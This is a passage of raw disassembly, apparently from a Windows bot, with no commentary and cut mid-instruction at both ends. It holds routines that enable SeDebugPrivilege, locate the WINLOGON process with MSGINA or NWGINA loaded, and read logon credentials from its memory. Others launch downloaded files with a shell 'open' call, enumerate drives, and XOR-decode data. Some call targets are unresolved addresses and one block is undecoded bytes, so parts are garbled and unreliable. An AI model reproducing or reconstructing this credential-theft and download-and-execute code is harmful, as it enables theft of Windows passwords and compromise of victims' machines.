eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] call near ptr 2720000h nop cmp edi, ebx jnb short loc_4168B7 mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_4168A1 mov eax, [ebp+8] loc_4168A1: ; CODE XREF: ___:0041689Cj push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41CAB0 add esp, 0Ch loc_4168B7: ; CODE XREF: ___:00416893j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_4168C4 cmp edi, [ebp-3Ch] ja short loc_41690E loc_4168C4: ; CODE XREF: ___:004168BDj cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_4168DE shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437B58 jmp short loc_4168EE ; --------------------------------------------------------------------------- loc_4168DE: ; CODE XREF: ___:004168CAj shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437B30 loc_4168EE: ; CODE XREF: ___:004168DCj mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43C040 push eax call sub_41C006 add esp, 10h cmp [ebp+8], esi ja loc_416835 loc_41690E: ; CODE XREF: ___:004168C2j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416963 cmp edi, [ebp-3Ch] jz short loc_416963 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_437B04 push eax call sub_41C006 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 lea eax, [ebp-510h] push eax call sub_415CEE add esp, 28h loc_416963: ; CODE XREF: ___:00416918j ; ___:0041691Dj nop call near ptr 26A0729h sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call near ptr 2660000h nop push dword ptr [ebp-1Ch] call sub_41BA31 cmp [ebp-38h], esi pop ecx jz short loc_4169ED lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_4169ED push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_437ADC push eax call sub_41C006 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 lea eax, [ebp-510h] push eax call sub_415CEE add esp, 28h loc_4169ED: ; CODE XREF: ___:00416995j ; ___:004169A7j cmp [ebp-14h], esi jz loc_416C2D cmp dword ptr [ebp-44h], 1 jz loc_416AE8 mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276A8 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276A8 fstp qword ptr [esp] push offset unk_437AA4 push eax call sub_41C006 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416A68 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 add esp, 14h loc_416A68: ; CODE XREF: ___:00416A46j lea eax, [ebp-510h] push eax call sub_415CEE cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_416C2D push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4C9270 cmp [ebp-30h], esi jnz loc_416C2D lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_437A88 push eax call sub_41C006 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 lea eax, [ebp-510h] push eax call sub_415CEE add esp, 24h jmp loc_416C2D ; --------------------------------------------------------------------------- loc_416AE8: ; CODE XREF: ___:004169FAj mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276A8 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276A8 fstp qword ptr [esp] push offset unk_437A44 push eax call sub_41C006 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416B50 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 add esp, 14h loc_416B50: ; CODE XREF: ___:00416B2Ej lea eax, [ebp-510h] push eax call sub_415CEE push 10h lea eax, [ebp-10h] push esi push eax call sub_41BD10 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41BD10 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset byte_43B4B8 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 26603BDh cmp eax, edi jnz short loc_416BD2 call dword_4C925C call sub_418857 push esi nop call near ptr 77E75CB5h loc_416BD2: ; CODE XREF: ___:00416BBEj lea eax, [ebp-148h] push eax push offset unk_437A10 jmp short loc_416BEC ; --------------------------------------------------------------------------- loc_416BE0: ; CODE XREF: ___:00416799j lea eax, [ebp-248h] push eax push offset unk_4379E4 loc_416BEC: ; CODE XREF: ___:00416BDEj lea eax, [ebp-510h] push eax call sub_41C006 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_416C20 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 add esp, 14h loc_416C20: ; CODE XREF: ___:00416BFEj lea eax, [ebp-510h] push eax call sub_415CEE pop ecx loc_416C2D: ; CODE XREF: ___:004169F0j ; ___:00416A79j ... push dword ptr [ebp-18h] call dword_4C9338 push dword ptr [ebp-48h] call sub_40B6C9 pop ecx push esi call near ptr 26F0000h nop ; =============== S U B R O U T I N E ======================================= sub_416C46 proc near ; CODE XREF: ___:00416872p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416C62 loc_416C52: ; CODE XREF: sub_416C46+1Aj mov dl, byte_429090 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_416C52 locret_416C62: ; CODE XREF: sub_416C46+Aj retn sub_416C46 endp ; =============== S U B R O U T I N E ======================================= sub_416C63 proc near ; CODE XREF: sub_401AC7+57AEp ; sub_401AC7+58E0p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41DB5E pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416C63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C7D proc near ; CODE XREF: sub_410330+45Dp ; sub_410330+5F9p ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D0F38 push 0 push edi call sub_41BD10 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416CA2: ; CODE XREF: sub_416C7D+5Bj ; sub_416C7D+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41DC20 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41DBB0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416CE0 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416CA2 mov byte ptr [esi], 2Ch inc esi jmp short loc_416CA2 ; --------------------------------------------------------------------------- loc_416CE0: ; CODE XREF: sub_416C7D+4Bj dec esi mov eax, edi loc_416CE3: ; CODE XREF: sub_416C7D+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416CF2 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416CE3 ; --------------------------------------------------------------------------- loc_416CF2: ; CODE XREF: sub_416C7D+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416C7D endp ; =============== S U B R O U T I N E ======================================= sub_416CFC proc near ; CODE XREF: sub_416EA8+51p ; sub_416EA8+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4C9364 sub eax, 0 jz short loc_416D3F dec eax jz short loc_416D39 dec eax dec eax jz short loc_416D33 dec eax jz short loc_416D2D dec eax jz short loc_416D27 dec eax jz short loc_416D21 mov eax, offset word_437BD4 retn ; --------------------------------------------------------------------------- loc_416D21: ; CODE XREF: sub_416CFC+1Dj mov eax, offset off_437BD0 retn ; --------------------------------------------------------------------------- loc_416D27: ; CODE XREF: sub_416CFC+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_416D2D: ; CODE XREF: sub_416CFC+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_416D33: ; CODE XREF: sub_416CFC+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_416D39: ; CODE XREF: sub_416CFC+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_416D3F: ; CODE XREF: sub_416CFC+Dj mov eax, offset aUnknown ; "Unknown" retn sub_416CFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D45 proc near ; CODE XREF: sub_416D8D+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4C91F4 test eax, eax jz short loc_416D7A lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416D7A: ; CODE XREF: sub_416D45+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_416D45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D8D proc near ; CODE XREF: sub_416EA8+17p ; sub_41AF2B+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_416D45 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416E65 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416E65 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416E65 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41DCA0 push edx push eax call sub_416C7D mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_41C100 add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41DCA0 push edx push eax call sub_416C7D push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41C100 add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41DCA0 push edx push eax call sub_416C7D push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41C100 add esp, 18h pop ebx jmp short loc_416E94 ; --------------------------------------------------------------------------- loc_416E65: ; CODE XREF: sub_416D8D+2Cj ; sub_416D8D+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41C006 lea eax, [ebp+var_118] push esi push eax call sub_41C006 lea eax, [ebp+var_98] push esi push eax call sub_41C006 add esp, 18h loc_416E94: ; CODE XREF: sub_416D8D+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416D8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EA8 proc near ; CODE XREF: sub_416F7A+17p ; sub_416F7A+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416D8D push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C7E0 add esp, 10h test eax, eax jnz short loc_416F1B push ebx push ebx call sub_416CFC pop ecx push eax push offset unk_437C24 lea eax, [ebp+var_500] push 200h push eax call sub_41C100 add esp, 14h jmp short loc_416F4F ; --------------------------------------------------------------------------- loc_416F1B: ; CODE XREF: sub_416EA8+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_416CFC pop ecx push eax push offset unk_437BE8 lea eax, [ebp+var_500] push 200h push eax call sub_41C100 add esp, 20h loc_416F4F: ; CODE XREF: sub_416EA8+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_500] push eax call sub_415CEE add esp, 18h pop edi pop esi pop ebx leave retn sub_416EA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F7A proc near ; CODE XREF: sub_401AC7+2518p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416F9B push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EA8 add esp, 10h jmp short loc_416FFC ; --------------------------------------------------------------------------- loc_416F9B: ; CODE XREF: sub_416F7A+9j push esi push edi push ebx push ebx call dword_4C926C lea esi, [eax+2] push esi call sub_41BC9B pop ecx mov edi, eax push edi push esi call dword_4C926C cmp [edi], bl mov esi, edi jz short loc_416FF3 loc_416FBF: ; CODE XREF: sub_416F7A+77j push offset aA_1 ; "A:\\" push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_416FE2 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EA8 add esp, 10h loc_416FE2: ; CODE XREF: sub_416F7A+54j push esi call sub_41B960 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416FBF loc_416FF3: ; CODE XREF: sub_416F7A+43j push edi call sub_41BA31 pop ecx pop edi pop esi loc_416FFC: ; CODE XREF: sub_416F7A+1Fj pop ebx pop ebp retn sub_416F7A endp ; --------------------------------------------------------------------------- byte_416FFF db 55h ; DATA XREF: sub_401AC7+67F5o dd 0EC81EC8Bh, 49Ch, 5308458Bh, 0A7B95756h, 8B000000h dd 64BD8DF0h, 0F3FFFFFDh, 9880C7A5h, 1000002h, 8D000000h dd 0FFFEEC85h, 2DE850FFh, 33000049h, 5BC80DBh, 0FFFFFEEBh dd 1475595Ch, 0FEEC858Dh, 0E850FFFFh, 4914h, 59C8859h dd 0FFFFFEEBh, 0FDE8858Dh, 6850FFFFh, 437C84h, 0FB64858Dh dd 68FFFFh, 50000002h, 508FE8h, 10C48300h, 75F85D39h, 858D5320h dd 0FFFFFB64h, 50F475FFh, 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h dd 27CCE8FFh, 0C483FFFFh, 0EC858D14h, 53FFFFFEh, 0E8858D50h dd 50FFFFFDh, 0FD68858Dh, 75FFFFFFh, 0B5FF50F4h, 0FFFFFD64h dd 5AE8h, 858D5000h, 0FFFFFB64h, 437C6468h, 37E85000h dd 8300004Fh, 5D3924C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF276Eh dd 8D14C483h, 0FFFB6485h, 0EBE850FFh, 0FFFFFFEBh, 0BEE8F075h dd 59FFFF45h, 0E8905359h, 22D8EECh, 555B5E5Fh, 0EC81EC8Bh dd 54Ch, 0BE575653h, 104h, 8D1875FFh, 0FFFDB885h, 7CC868FFh dd 50560043h, 4FC3E8h, 303D8B00h, 83004271h, 858D10C4h dd 0FFFFFEBCh, 0B8858D50h, 50FFFFFDh, 0F883D7FFh, 0FC4589FFh dd 429AC4BBh, 0F6717400h, 0FFFEBC85h, 547410FFh, 0FEE8BD80h dd 752EFFFFh, 0E9BD8012h, 0FFFFFEh, 0BD804274h, 0FFFFFEE9h dd 8D39742Eh, 0FFFEE885h, 858D50FFh, 0FFFFFCB4h, 531875FFh dd 61E85056h, 0FF00004Fh, 858D1C75h, 0FFFFFCB4h, 1475FF50h dd 0FF1075FFh, 75FF0C75h, 0FF5DE808h, 0C483FFFFh, 1C45892Ch dd 0FEBC858Dh, 0FF50FFFFh, 31E8FC75h, 9002368Eh, 8F75C085h dd 90FC75FFh, 1A8E23E8h, 1475FF02h, 0FDB8858Dh, 75FFFFFFh dd 50565318h, 4F0FE8h, 14C48300h, 0FEBC858Dh, 8D50FFFFh dd 0FFFDB885h, 0D7FF50FFh, 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h dd 1C45FFFFh, 0B4858D50h, 0FFFFFFFAh, 0AC681875h, 6800437Ch dd 200h, 4ED2E850h, 16A0000h, 0FAB4858Dh, 75FFFFFFh, 75FF5010h dd 875FF0Ch, 0FF261DE8h, 28C483FFh, 0FEBC858Dh, 5650FFFFh dd 8DAAE890h, 0C0850236h, 9056B175h, 1A8D9FE8h, 1C458B02h dd 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417269 proc near ; DATA XREF: sub_401AC7+1C62o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41ADDD cmp eax, esi mov [ebp+var_4], eax jz short loc_4172A8 cmp eax, 2 jz short loc_4172A8 push offset unk_437EA0 jmp loc_4173E7 ; --------------------------------------------------------------------------- loc_4172A8: ; CODE XREF: sub_417269+2Ej ; sub_417269+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B3F pop ecx test eax, eax pop ecx jz loc_4173E2 push ebx push offset aNtdll_dll ; "NTDLL.DLL" call near ptr 26B0C73h nop mov esi, dword_4270CC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D217C, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D2170, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D2380, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D2178, eax call esi mov dword_4D2174, eax call sub_41743B test eax, eax mov [ebp+arg_0], eax jz loc_4173B5 mov esi, dword_427154 mov edi, 400h mov ebx, offset dword_4D1170 push edi push ebx push offset off_437DDC call esi push edi mov edi, offset dword_4D1970 push edi push offset off_437DC4 call esi cmp [ebp+var_4], 1 push offset dword_4D2388 push [ebp+arg_0] jnz short loc_417361 call sub_4175C4 jmp short loc_417366 ; --------------------------------------------------------------------------- loc_417361: ; CODE XREF: sub_417269+EFj call sub_41776B loc_417366: ; CODE XREF: sub_417269+F6j pop ecx test eax, eax pop ecx jz short loc_4173AE cmp dword_4D2388, 0 jnz short loc_417395 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_437D68 push 200h push eax call sub_41C100 add esp, 18h jmp short loc_4173C8 ; --------------------------------------------------------------------------- loc_417395: ; CODE XREF: sub_417269+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_4173A5 call sub_4178A1 jmp short loc_4173AA ; --------------------------------------------------------------------------- loc_4173A5: ; CODE XREF: sub_417269+133j call sub_417938 loc_4173AA: ; CODE XREF: sub_417269+13Aj pop ecx push eax jmp short loc_4173BA ; --------------------------------------------------------------------------- loc_4173AE: ; CODE XREF: sub_417269+101j push offset unk_437D30 jmp short loc_4173BA ; --------------------------------------------------------------------------- loc_4173B5: ; CODE XREF: sub_417269+B6j push offset unk_437D04 loc_4173BA: ; CODE XREF: sub_417269+143j ; sub_417269+14Aj lea eax, [ebp+var_29C] push eax call sub_41C006 pop ecx pop ecx loc_4173C8: ; CODE XREF: sub_417269+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B3F pop ecx pop ecx push [ebp+var_8] call near ptr 27B0737h nop pop ebx jmp short loc_4173F5 ; --------------------------------------------------------------------------- loc_4173E2: ; CODE XREF: sub_417269+4Ej push offset unk_437CD0 loc_4173E7: ; CODE XREF: sub_417269+3Aj lea eax, [ebp+var_29C] push eax call sub_41C006 pop ecx pop ecx loc_4173F5: ; CODE XREF: sub_417269+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_41741C push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409862 add esp, 14h loc_41741C: ; CODE XREF: sub_417269+191j lea eax, [ebp+var_29C] push eax call sub_415CEE push [ebp+var_18] call sub_40B6C9 pop ecx pop ecx push esi nop call near ptr 26F0000h pop edi pop esi sub_417269 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41743B proc near ; CODE XREF: sub_417269+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427160 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_42715C push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D217C push ebp push 0 call esi push eax call near ptr 27C0620h nop push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D217C test eax, eax jnz short loc_417528 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_417528 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_417528 loc_4174C4: ; CODE XREF: sub_41743B+EBj cmp word ptr [ebx+8], 5 jnz short loc_41751B push 0 push 0 call dword_4D2170 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D2380 test eax, eax jnz short loc_41750C mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41DD4A pop ecx push eax call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_417540 loc_41750C: ; CODE XREF: sub_41743B+AAj test edi, edi jz short loc_417517 push edi call dword_4D2178 loc_417517: ; CODE XREF: sub_41743B+D3j mov eax, [esp+28h+var_10] loc_41751B: ; CODE XREF: sub_41743B+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_4174C4 loc_417528: ; CODE XREF: sub_41743B+6Dj ; sub_41743B+7Aj ... xor edi, edi loc_41752A: ; CODE XREF: sub_41743B+17Dj push ebp push 0 call esi push eax nop call near ptr 27C0620h mov eax, edi loc_417538: ; CODE XREF: sub_41743B+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_417540: ; CODE XREF: sub_41743B+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_4175A9 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417556: ; CODE XREF: sub_41743B+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41DD4A pop ecx push eax call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_4175BD push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41DD4A pop ecx push eax call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_41759B mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41759B: ; CODE XREF: sub_41743B+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417556 loc_4175A9: ; CODE XREF: sub_41743B+10Fj test edi, edi jz short loc_4175B4 push edi call dword_4D2178 loc_4175B4: ; CODE XREF: sub_41743B+170j mov edi, [esp+28h+var_4] jmp loc_41752A ; --------------------------------------------------------------------------- loc_4175BD: ; CODE XREF: sub_41743B+13Cj xor eax, eax jmp loc_417538 sub_41743B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175C4 proc near ; CODE XREF: sub_417269+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 2680883h cmp eax, esi mov [ebp+var_4], eax jnz short loc_4175ED xor eax, eax jmp loc_417768 ; --------------------------------------------------------------------------- loc_4175ED: ; CODE XREF: sub_4175C4+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27E0000h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427160 push 8 call esi mov edi, dword_42715C push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427168 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_41763D xor esi, esi jmp loc_41775B ; --------------------------------------------------------------------------- loc_41763D: ; CODE XREF: sub_4175C4+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 27D095Eh test eax, eax jz loc_41774A mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_41774A test [ebp+var_2B], 1 jnz loc_41774A push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_41774A loc_4176A0: ; CODE XREF: sub_4175C4+112j push edi push offset dword_4D1170 call sub_4266CB pop ecx test eax, eax pop ecx jnz short loc_4176C8 lea eax, [edi+200h] push eax push offset dword_4D1970 call sub_4266CB pop ecx test eax, eax pop ecx jz short loc_4176D8 loc_4176C8: ; CODE XREF: sub_4175C4+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_41774A jmp short loc_4176A0 ; --------------------------------------------------------------------------- loc_4176D8: ; CODE XREF: sub_4175C4+102j test edi, edi jz short loc_41774A lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 2770503h test eax, eax jz short loc_417713 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 2770000h test eax, eax jz short loc_417713 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_417713: ; CODE XREF: sub_4175C4+12Bj ; sub_4175C4+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D2394, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D238C, eax mov dword_4D2390, edi loc_41774A: ; CODE XREF: sub_4175C4+90j ; sub_4175C4+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 27C0620h mov esi, [ebp+var_10] loc_41775B: ; CODE XREF: sub_4175C4+74j push [ebp+var_4] nop call near ptr 2660000h pop edi mov 